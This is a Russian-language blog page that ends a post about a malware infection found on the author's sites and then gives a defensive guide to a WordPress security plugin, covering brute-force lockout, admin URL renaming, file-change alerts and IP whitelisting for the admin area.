Тут и замечательный «eval» в глаза бросается. Что примечательно, Айболит (описанный выше) нашел этот фрагмент подозрительным, но у меня пока еще до него руки не дошли, ибо этот скрипт уж очень многих подозревает в неблагонадежности. По поводу этого кода я тоже гуглил и нашел пост (к сожалению, сейчас тот домен блокировали за неоплату) с описанием похожей проблемы. У товарища эта гадость просочилась с новой темой, в которую был зашит какой-то установочный код.

У меня же темы на обоих заразившихся блогах стоят уже по много лет. Наверное, была какая-то уязвимость в движке или , которой оперативно (на потоке) воспользовались недоброжелатели. В общем, проверьте у себя отсутствие подобных вкраплений. Дата изменения описанных файлов приходилась, по-моему, на середину сентября этого года.

Советую так же посмотреть подборку из 17 видеоуроков по обеспечению безопасности сайтов на Joomla . Они будут воспроизводиться один за другим автоматом, а если хотите, то можете переключаться на следующий урок с помощью соответствующей кнопки на панели плеера или выбрать нужный урок из выпадающего меню в верхнем левом углу окна плеера:

Приятного просмотра!

Удачи вам! До скорых встреч на страницах блога сайт

Вам может быть интересно

Сайт на Joomla стал выдавать кучу ошибок типа - Strict Standards: Non-static method JLoader::import () should not be called statically in
Обновление Joomla до последней версии
Создание карты для сайта на Joomla с помощью компонента Xmap
Что такое Joomla
Группы пользователей в Joomla, настройка кэширования и проблема отправки почты с сайта
Компонент K2 для создания блогов, каталогов и порталов на Joomla - возможности, установка и русификация
Модули в Joomla - просмотр позиции, настройка и вывод, а так же назначение суффиксов класса
Как обновить статический Html сайт до динамического на Joomla
Установка WordPress в деталях и картинках, вход в админку WP и смена пароля
Плагины Joomla - TinyMCE, Load Module, Legacy и другие установленные по умолчанию

WordPress очень популярная CMS, это не несомненно ее плюс, есть множество плагинов под любые задачи, но это одновременно и является ее слабостью, ведь чем популярнее CMS для сайта, тем больше на нее атак, точнее она более интересна для взломщика, так как найдя уязвимость в WordPress, злоумышленникам становятся доступны сотни тысяч сайтов, поэтому защите вашего сайта на WordPress нужно уделать особое внимание.

Зачем взламывают сайты на WordPress?

Взламывают все популярные CMS (движки для сайтов), и Вордпресс не исключение, взламываю в основном с помощью так называемых программ (скриптов) — эксплоитов, для получения контроля над сайтом, делается это в основном для создания ссылок с вашего сайта на другие ресурсы, и для создания BotNet, который занимается DDoS атаками на другие сервера, причем сайт остается в рабочем состоянии, и вы никогда не увидите не «вооруженным» глазом что он заражен. В любом случае взлом плохо отразится на вашем сайте, и возможно вы даже пропадете из выдачи.

Как я уже говорил, взлом происходит в автоматическом режиме, определить CMS сайта не составляет труда, для этого есть много онлайн сервисов, часто атакующая программа пытается подобрать пароль от административной части сайта, т.е. переходит по адресу your-site.ru/wp-admin и пробует подобрать пароль к вашему пользователю, узнать имя пользователя не составляет труда, вы ведь пишите статьи именно под ним, поэтому логин будет виден ботам, они знают где его посмотреть. если вы конечно не закрыли его при помощи плагина, об одном из которых мы поговорим ниже. Пароль от администратора сайта должен быть очень сложным, но даже при выполнении этого условия, нельзя давать ботам перебирать (брутить) пароль от «админки», потому что это не нужная нагрузка на сервер, представьте если этим занимаются несколько десятков ботов с разных концов света.

Плагин для защиты WordPress от атак

Перейдем сразу к плагину, достойных внимая несколько, поговорим о более простом и понятном, я использую его на многих своих проектах, для заказчиков, он очень хорошо справляется с поставленными задачами по охране сайта —

Это плагин достаточно прост в освоении, и руссифицирован на 90%, устанавливается как и любой плагин из репозитория WordPress, после установки его нужно активировать и сделать основные настройки. Он появляется в основном меню в админке WordPress

Панель управления плагина WP Security

После перехода к настройкам плагина, попадаем в панель управления. Тут можно сделать основные важные настройки.

  1. Показывает 5 последних авторизаций в вашей админке, указан пользователь и IP адрес, я например сразу вижу свои IP, их всего два, поэтому у меня не возникает сомнений что мой пароль от административной части знает кто то еще.
  2. Раздел самых важных функций, тут все нужно включить, и со всем согласиться.
  3. Плагин, способен отслеживать изменения файлов на хостинге, причем он может отправлять отчет вам на почту, и вы всегда в курсе какие файлы у вас изменились, это очень полезно, если вам подгрузили какой то скрипт или любой файл с вредоносным кодом, вы это сразу увидите в отчете, единственный минус, после обновления каких либо других установленных у вас плагинов или самого движка WordPress, WP Security увидит все эти изменения и пришлет вам огромный список, но к этим отчетам можно привыкнуть, ведь вы знаете когда обновляли файлы сами.
  4. Этот пункт меняет стандартный адрес админки сайта yoursite.ru/wp-admin , на yoursite.ru/luboe-slovo , это спасет вашу админку от некоторых горе-хакеров и ботов, но к сожалению не от всех, особо продвинутые ее все равно находят, об этом я могу судить глядя в раздел «Авторизации», но об этом позже.
  5. Этот пункт должен быть выключен, как на скриншоте, он нужен только тогда, когда вы хотите поставить сайт на обслуживание, для посетителей будет выдаваться табличка с сообщением, о том что на сайте ведутся технические работы, иногда это полезно, например при смене дизайна сайта, или при каких то глобальных изменениях, не забывайте, что в этом режиме поисковые роботы тоже не могут просматривать ваш сайт, не закрывайте его на долго.

Защита админки WordPress от подбора пароля

Теперь перейдем в пункт меню — Авторизация, на мой взгляд очень полезный пункт, и его стоит настроить, так как на одном из моих сайтов. с посещаемостью около 1000 человек, плагин отлавливает в день десятки попыток подобрать парль к админке, и добавляет IP адреса взломщиков в черный список, т.е. блокирует его совсем, сайт перестает отвечать этому IP адресу, тем самым сводя на нет попытки подобрать пароль, на скрине настройки которые делаю я.

  1. Число попыток «ошибиться» оставляю -3, не делайте меньше, можете сами неверно набрать пароль, и попасть в черный список со своим IP, придется
  2. Это время, через которое сбрасывается счетчик не верных попыток залогиниться
  3. Период блокировки IP адресов, с которых были не верные попытки авторизации, я ставлю побольше, в минут, т.е. баню на долго, на скрине стоит 6 000 000 минут, это примерно 11 лет, думаю хватит

Всем заблокированным IP будет закрыт доступ не только к админке, но и ко всему сайту, имейте это в виду

Список заблокированных IP адресов

  1. айпи адрес злоумышленника
  2. логин к которому подбирали пароль, кстати правильный
  3. дата когда была сделана автоматическая блокировка

Белый список адресов для админки

Что бы разрешить доступ в административную часть сайта на WordPress только с определенных IP адресов, можно активировать белый список адресов в настройках плагина.

  1. активация этой опции
  2. тут ваш текущий IP адрес
  3. в этом поле введите все IP адреса, с которых разрешен доступ в админку

Если нужно указать диапазон IP адресов, то вместо цифры, используйте звездочку, к примеру 192.168.5.* — такая конструкция даст доступ в админку wordpress со всех ip начинающихся на эти цифры, такой способ может быть полезен тем, у кого нет выделенного ip адреса, и он постоянно меняется, к примеру при работе с мобильного интернет, как правило диапазон будет оставаться в пределах двух первых цифр, вот так к примеру 192.168.*.*